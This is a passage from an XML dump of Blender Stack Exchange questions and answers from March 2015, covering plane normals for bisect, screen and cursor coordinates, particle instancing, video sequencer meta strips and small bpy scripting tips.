((v1.y*v2.z)-(v1.z*v2.y)), ((v1.z*v2.x)-(v1.x*v2.z)),((v1.x*v2.y)-(v1.y*v2.x))&#xA;        print(&quot;thenormal &quot; + str(normal))&#xA;&#xA;&#xA;        plane_no = normal&#xA;        plane_co = v2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but NO!!! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I know that &lt;code&gt;xstart=0, xend=0, ystart=0, yend=0,&lt;/code&gt; are the initial and final location of Operative System Cursor (not 3d blender cursor).. and this data help to  blender in order to calc the plane_co&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway... I can calc the plane_co because it is any point in the cut plane... but actually I don't know how to calc the plane_normal....  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="11077" LastEditDate="2015-03-30T00:15:15.193" LastActivityDate="2015-03-30T19:13:31.003" Title="bisect plane normal (mesh and bmesh) how calc the 3th vector to mathutils.geometry?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;bmesh&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27815" PostTypeId="1" CreationDate="2015-03-29T02:40:10.140" Score="1" ViewCount="241" Body="&lt;p&gt;first,  I mean to Operating System Cursor... NOT TO  blender's 3d cursor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;second... this location is different to &lt;code&gt;ct.windll.user32.GetCursorPos(ct.byref(pt))&lt;/code&gt;, I think because blender made here own calculation from blender UI...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blender allow me to set the location of this &quot;real&quot; cursor using &lt;code&gt;bpy.context.window.cursor_set&lt;/code&gt;, but.. how to get the actual location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="12" LastEditDate="2015-03-29T03:04:56.550" LastActivityDate="2015-03-29T13:14:26.627" Title="OS cursor location in Blender Windows" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27817" PostTypeId="2" ParentId="26706" CreationDate="2015-03-29T05:42:21.940" Score="2" Body="&lt;p&gt;You are right, you would:&#xA;1. use the chroma key source as a single input node then generate a key with the keyer node. This scene will appear in the VSE as a strip with an alpha channel&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;add an Alpha Convert node set to &quot;Straight to Premultiplied&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the scene strip to the VSE timeline on top of the background strip. Check its blend type and make it &quot;alpha over&quot; instead of cross or replace.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should then be able to trim it to length as required. Remember that to get audio you would have to add the original source strip to the VSE timeline of the compositor scene. But this only works in the latest versions of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you will have to sync the sound up to the scene strip. &lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="1218" LastEditDate="2015-03-29T12:37:19.247" LastActivityDate="2015-03-29T12:37:19.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27818" PostTypeId="1" AcceptedAnswerId="27834" CreationDate="2015-03-29T06:32:53.810" Score="18" ViewCount="3800" Body="&lt;p&gt;I have a seed object with some particle hair strands. I've specified this object to be instanced in another particle system, then specified &lt;em&gt;that&lt;/em&gt; object to be instanced in yet another particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify:   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a cube with hairs strands&lt;/li&gt;&#xA;&lt;li&gt;I have a Suzanne coated in cubes with hair strands (the hair strands only appear in the render, which is fine)&lt;/li&gt;&#xA;&lt;li&gt;I have another Suzanne coated in Suzannes, but these Suzannes don't have cubes or strands like I was hoping..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3YTpP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the particle systems to keep recursing, so that the last Suzanne is coated in Suzannes coated in cubes coated in strands?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/141/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=141&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2019-12-15T09:18:34.700" Title="Is it possible to recursively instance object particles?" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27819" PostTypeId="1" AcceptedAnswerId="27821" CreationDate="2015-03-29T07:31:02.673" Score="5" ViewCount="1887" Body="&lt;p&gt;How can you take the white background out an image texture in the cycles node editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the image I found on the internet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ESLfu.jpg&quot; alt=&quot;the image I&amp;#39;m using&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is add scratches but have a different colour/texture underneath the scratches. Here's my current node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QBGeg.png&quot; alt=&quot;nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="9711" LastEditDate="2015-03-29T07:44:14.053" LastActivityDate="2015-03-29T15:16:19.150" Title="Take white background out of image with cycles?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;image&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27820" PostTypeId="2" ParentId="3249" CreationDate="2015-03-29T07:59:09.573" Score="9" Body="&lt;p&gt;I made a usability modification to the script offered by @CoDEmanX, a while back, because it can be a pain to get the theme colours to play nice enough to let me read the indices. Hence I added a polygon background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yEwa7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;script available from: &lt;a href=&quot;https://gist.github.com/zeffii/9451340&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/zeffii/9451340&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ideally the &lt;code&gt;bpy.app.debug = True&lt;/code&gt; would also include some background for the numbers, as is the case with Ruler/Protractor feature.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-03-29T07:59:09.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27821" PostTypeId="2" ParentId="27819" CreationDate="2015-03-29T08:23:56.167" Score="5" Body="&lt;p&gt;To do that, you can use the grayscale map as the &lt;a href=&quot;https://blender.stackexchange.com/q/10595/599&quot;&gt;&lt;em&gt;mix factor&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mix colors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KF9Ro.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or shaders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G09PA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color ramp node is only there to get rid of &lt;a href=&quot;https://blender.stackexchange.com/a/27517/599&quot;&gt;jpg compression artifacts&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-03-29T08:23:56.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27822" PostTypeId="1" CreationDate="2015-03-29T10:05:40.250" Score="1" ViewCount="427" Body="&lt;p&gt;Can I apply and remove an Effect Strip, for instance the Speed Control?&#xA;I mean like the modifiers, when we &lt;strong&gt;Apply&lt;/strong&gt; them we also remove the controls. I want to remove the strips in the Video Sequence Editor but let the changes.&#xA;Thank you for your attention.&lt;/p&gt;&#xA;" OwnerUserId="8112" LastEditorUserId="8112" LastEditDate="2015-03-29T10:21:15.150" LastActivityDate="2015-03-29T13:40:52.940" Title="How to apply Effect Strip in Video Sequence Editor" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27823" PostTypeId="2" ParentId="27822" CreationDate="2015-03-29T11:00:48.457" Score="2" Body="&lt;p&gt;The command I was looking for was &lt;strong&gt;Make Meta Strip&lt;/strong&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="8112" LastEditorUserId="241" LastEditDate="2015-03-29T13:40:52.940" LastActivityDate="2015-03-29T13:40:52.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27824" PostTypeId="2" ParentId="27813" CreationDate="2015-03-29T12:07:47.717" Score="4" Body="&lt;p&gt;There is a function that does the conversion from 3d space to 2d view area &lt;code&gt;location_3d_to_region_2d&lt;/code&gt; &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_8/bpy_extras.view3d_utils.html?highlight=view#bpy_extras.view3d_utils.location_3d_to_region_2d&quot; rel=&quot;nofollow noreferrer&quot;&gt;see the DOC&lt;/a&gt; :&#xA;in this example, i get the 2d coordinates in the area, window and the system screen&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras import view3d_utils&#xA;&#xA;oa = bpy.context.active_object&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        viewport = area.regions[4]&#xA;        for v in bpy.context.object.data.vertices :&#xA;            #coo in 3d space&#xA;            co_3d = oa.matrix_world * v.co&#xA;            #coo in the 3d view area (2d)&#xA;            co_2d = view3d_utils.location_3d_to_region_2d(viewport, area.spaces[0].region_3d, co_3d)&#xA;            #coo in the blender window&#xA;            co_2d_w = (co_2d[0]+viewport.x, co_2d[1]+viewport.y)&#xA;            #coo in the system screen&#xA;            co_2d_s = (co_2d_w[0]+bpy.context.window.x, co_2d_w[1]+bpy.context.window.y)&#xA;            #display&#xA;            print(&quot;\n\n3d space co :&quot;,co_3d,&quot;\n2d in viewport co :&quot;,co_2d)              &#xA;            print(&quot;2d in window co :&quot;,co_2d_w,&quot;\n2d system co :&quot;,co_2d_s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;NOTE :&lt;/em&gt;&lt;/strong&gt;&#xA;this is what window ,area and region stands for in blender :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oDgHE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="11077" LastEditDate="2015-03-29T12:51:03.920" LastActivityDate="2015-03-29T12:51:03.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27827" PostTypeId="1" CreationDate="2015-03-29T12:28:55.663" Score="4" ViewCount="1382" Body="&lt;p&gt;I would like to take a 3D Text Object in Blender and Deform it. &#xA;Such as that it fits &lt;strong&gt;into&lt;/strong&gt; e.g. the outlines of Curve or Object. &#xA;I tried with the deform modifiers cast and curve. But I could not deform it so the 3D Text is(and fits to) &lt;strong&gt;within&lt;/strong&gt; the boundaries of another object (Curve or Object). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a pictures what I want to achieve in 3D, but in 2D. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/xWBiV.png&quot; alt=&quot;2D version of what I want&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3087" LastEditorUserId="241" LastEditDate="2015-03-29T13:31:53.293" LastActivityDate="2015-03-29T19:26:34.633" Title="Deform Text Objects in Blender to fit into other object" Tags="&lt;text-object&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27828" PostTypeId="2" ParentId="27703" CreationDate="2015-03-29T12:44:20.927" Score="5" Body="&lt;p&gt;In the VSE preview window (where the video should appear) check the display properties (&lt;kbd&gt;N&lt;/kbd&gt;) and make sure that the OpenGL render is switched off. As it shows only the 3D view in place of the rendered output or that of the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there check the proxy display value, it should be No Proxy 100%.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="2843" LastEditDate="2016-01-22T16:55:30.027" LastActivityDate="2016-01-22T16:55:30.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27830" PostTypeId="2" ParentId="27815" CreationDate="2015-03-29T13:10:09.007" Score="1" Body="&lt;p&gt;here an example &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_57_release/bpy.types.Operator.html#invoke-function&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_57_release/bpy.types.Operator.html#invoke-function&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;class SimpleMouseOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot; This operator shows the mouse location,&#xA;        this string is used for the tooltip and API docs&#xA;    &quot;&quot;&quot;&#xA;    bl_idname = &quot;wm.mouse_position&quot;&#xA;    bl_label = &quot;Invoke Mouse Operator&quot;&#xA;&#xA;    x = bpy.props.IntProperty()&#xA;    y = bpy.props.IntProperty()&#xA;&#xA;    def execute(self, context):&#xA;        # rather then printing, use the report function,&#xA;        # this way the messag appiers in the header,&#xA;        self.report({'INFO'}, &quot;Mouse coords are %d %d&quot; % (self.x, self.y))&#xA;        print((self.x, self.y))&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        self.x = event.mouse_x&#xA;        self.y = event.mouse_y&#xA;        return self.execute(context)&#xA;&#xA;bpy.utils.register_class(SimpleMouseOperator)&#xA;&#xA;# Test call to the newly defined operator.&#xA;# Here we call the operator and invoke it, meaning that the settings are taken&#xA;# from the mouse.&#xA;bpy.ops.wm.mouse_position('INVOKE_DEFAULT')&#xA;&#xA;# Another test call, this time call execute() directly with pre-defined settings.&#xA;bpy.ops.wm.mouse_position('EXEC_DEFAULT', x=20, y=66)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="3710" LastEditDate="2015-03-29T13:14:26.627" LastActivityDate="2015-03-29T13:14:26.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27831" PostTypeId="1" AcceptedAnswerId="27832" CreationDate="2015-03-29T13:32:22.410" Score="4" ViewCount="193" Body="&lt;p&gt;The thickness (Y-axis) are all different value and I have been attempting to reset them all the a particular value without doing it one by one. I also tried using the copy attributes plugin but it only offers to copy all the scale values instead of just the ones for the Y value. &lt;strong&gt;Any thoughts how I can copy Y scale to multiple objects?&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zU2Ho.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7822" LastActivityDate="2015-03-29T18:58:13.973" Title="Copying Y scale value onto multiple objects" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27832" PostTypeId="2" ParentId="27831" CreationDate="2015-03-29T13:54:44.050" Score="6" Body="&lt;p&gt;Here is a script (I don't know if there is another option) for now&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copy and paste the script in the blender text editor &lt;/li&gt;&#xA;&lt;li&gt;select the objects&lt;/li&gt;&#xA;&lt;li&gt;the object with the right scale should the active object (yellow outline , others red )&lt;/li&gt;&#xA;&lt;li&gt;in the text editor click Run Script&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;s= bpy.context.object.scale[1]&#xA;for obj in bpy.context.selected_objects :&#xA;    obj.scale[1] = s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-29T18:58:13.973" LastActivityDate="2015-03-29T18:58:13.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27833" PostTypeId="1" CreationDate="2015-03-29T14:25:34.633" Score="0" ViewCount="50" Body="&lt;p&gt;I am trying to fill in the arms of my creature, but I can't seem to do it.  Was there a mistake I did while make the creature? I am not sure why the arms and legs are not hollow 3D forms.  I attached a screen shot of what it looks like. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/6KxzG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2015-03-29T15:20:26.610" Title="Filling in the arms" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27834" PostTypeId="2" ParentId="27818" CreationDate="2015-03-29T14:41:09.850" Score="19" Body="&lt;p&gt;Here we have a red Suzanne, emitting blue Suzannes, emitting green cubes, emitting grey hair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l9GLS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l9GLS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to do this with the 'Particle Instance' modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Particle Instance modifier is applied to the object you want to instance. On the modifier, you then pick an object that has a particle system that you want to instance the object &lt;em&gt;onto&lt;/em&gt; (at the position of each particle.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the above image I added a hair particle system onto the red Suzanne. I then created a smaller, blue Suzanne and added a Particle Instance modifier to it, picking the red Suzanne as the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VZT3U.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VZT3U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then added a separate cube (green) and added a hair particle system to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final particle system is added to the blue Suzanne, under the Particle Instance modifier. It emits the cube in the normal fashion by choosing the cube as the render object on the particle system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you noted, the hair emitted from the green cubes does not appear in the viewport but do appear in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The blue Suzannes will not be identical, they will each have a unique placement of green cubes on them. I wasn't able to solve this, the linking was already getting quite complex and slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite a complex setup so I may have forgotten a few settings or overcomplicated the setup. For this reason I have included the blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/142/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=142&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="2214" LastEditDate="2019-12-15T09:18:34.700" LastActivityDate="2019-12-15T09:18:34.700" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="27835" PostTypeId="1" AcceptedAnswerId="27839" CreationDate="2015-03-29T14:47:21.780" Score="8" ViewCount="8921" Body="&lt;p&gt;I noticed that adding a second Effect Strip to a video sequence negates the effect of the former Effect Strip, eg. adding by Speed, the result does not include the Transform effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the reasoning behind such behavior? Is there any workaround other than rendering the sequence with one effect and then re-rendering is with another effect etc? That would be very cumbersome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6YfGf.png&quot; alt=&quot;effect strips&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2017-03-08T22:41:03.840" Title="How to use multiple Effect Strips in Blender Video Sequence Editor?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27837" PostTypeId="2" ParentId="27819" CreationDate="2015-03-29T15:16:19.150" Score="1" Body="&lt;p&gt;You can use the Color &lt;strong&gt;MixRGB&lt;/strong&gt; node in &lt;strong&gt;Multiply&lt;/strong&gt; mode, the white information of your image will be ignored:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DN3qU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-29T15:16:19.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27838" PostTypeId="2" ParentId="27833" CreationDate="2015-03-29T15:20:26.610" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It looks like the normals of the arms of your creature are inside out. Every Face has 2 sides, one side is the side for the outer face, which you see, the other side is the inner face which you should not see. The inner face has slighty different shading, it looks a little darker and kind of blueish.&#xA;To change this, you should select the face you want to change in Edit Mode, then press &quot;Space&quot; and type in &quot;Flip Normals&quot;, then click the command &quot;Flip Normals&quot;. It will then flip the faces around.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Basically it looks like there would be a triangle face at the &quot;hand&quot; and the rest could be quads. Just go in Edit Mode, Vertex Select, then select the 3 vertices on the very end of the arm which are on the upper side of it, then press &quot;F&quot; to fill them with a face. Continue by selecting the 4 vertices next to it (2 up 2 down) where the right 2 vertices should be at the edge of the face you just created when speaking of the right arm. Press &quot;F&quot; to fill again, then just continue like that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2015-03-29T15:20:26.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27839" PostTypeId="2" ParentId="27835" CreationDate="2015-03-29T15:34:58.180" Score="10" Body="&lt;p&gt;Try using a &lt;strong&gt;meta strip&lt;/strong&gt;. Select the layers you want to apply the speed to and press &lt;strong&gt;&lt;kbd&gt;Ctrl &lt;/kbd&gt; &lt;kbd&gt; G&lt;/kbd&gt;&lt;/strong&gt; (or go tho the menu Strip-&amp;gt;Make meta Strip) That will create a new strip that contains the selected strips.&lt;/p&gt;&#xA;&lt;p&gt;Then you set a speed strip (or whatever other effect you want) on top of the meta strip.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kg3a3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Quote from the &lt;a href=&quot;http://wiki.blender.org/index.php/Meta:Sanbox/Doc:2.6/Manual/Sequencer/Strips/Types&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A Meta Strip is a strip which contain several strips. It's like a Group of strips, working the similar way as Nodes groups. It allows you to reduce significantly the (vertical) space used in the sequencer, and treat multiple strips as if it was one strip. You can move, resize, and edit properties exactly the same way strips are. (see Editing and deleting strips page for more informations.)&lt;/p&gt;&#xA;&lt;p&gt;You can edit the content of a Meta Strip by pressing ⇆ Tab; It will unwrap the content temporarily and hide any other strips present on the workspace, allowing you to select, move and resize the contained strips, or edit their properties. Press ⇆ Tab again to re-wrap the strips into one Meta Strip.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-29T15:56:32.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27842" PostTypeId="1" CreationDate="2015-03-29T17:18:55.577" Score="0" ViewCount="499" Body="&lt;p&gt;I have a foot and IK constraints on toes, so that when I move the leg, fingers deform, because their IK bones stayed where they were. I made a copy location constraint for each of the IK bones to follow the IK bones for leg, but when I move the leg forward, fingers go down, when I move leg upwards, fingers go  back... How can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="241" LastEditDate="2015-03-29T17:20:45.060" LastActivityDate="2015-03-29T17:20:45.060" Title="Copy location constraint works wierd" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27843" PostTypeId="2" ParentId="27814" CreationDate="2015-03-29T18:23:58.227" Score="4" Body="&lt;p&gt;The plane normal is the Cross Product of two vectors laying on that plane &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;N = normalize( Vect(P1,P2) X Vect(P1, P3) )    &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;where Pn is point on the plane &lt;br/&gt;&#xA;all these calculation are done using the &lt;code&gt;mathutils.geometry.normal(vectors)&lt;/code&gt; which takes 3 points and return the normal vector&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note:&lt;/em&gt;&lt;/strong&gt; Normal direction depends on the Points order&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get the third Point we use the function &lt;code&gt;region_2d_to_vector_3d()&lt;/code&gt; which take a 2d coordinates and returns the a normalized vector of the view at this point ,then we add this vector to the point which we used its 2d coordinates to get a new one on the same line of sight (same plane ) , at last we pass the three points to the &lt;code&gt;normal()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v3 =  view3d_utils.region_2d_to_vector_3d(viewport, area.spaces[0].region_3d, co_2d)&#xA;v3 = v3+ vert[1].co&#xA;&#xA;normal =  mathutils.geometry.normal(vert[0].co,vert[1].co,v3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; you have to pass the the &lt;code&gt;co_2d&lt;/code&gt; not &lt;code&gt;co_2d_w&lt;/code&gt; to the &lt;code&gt;bisect()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the file &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/144/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=144&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-03-30T19:13:31.003" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27844" PostTypeId="2" ParentId="27827" CreationDate="2015-03-29T19:26:34.633" Score="4" Body="&lt;p&gt;You might try the &lt;a href=&quot;http://blender.org/manual/modifiers/deform/mesh_deform.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mesh deform&lt;/em&gt; modifier&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cube around your text and subdivide so that there are vertices where you want control points  to be:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F2Cim.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a mesh deform modifier to the text and specify the cube as the control object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click bind and deform the control object in edit mode:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dq23w.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-29T19:26:34.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
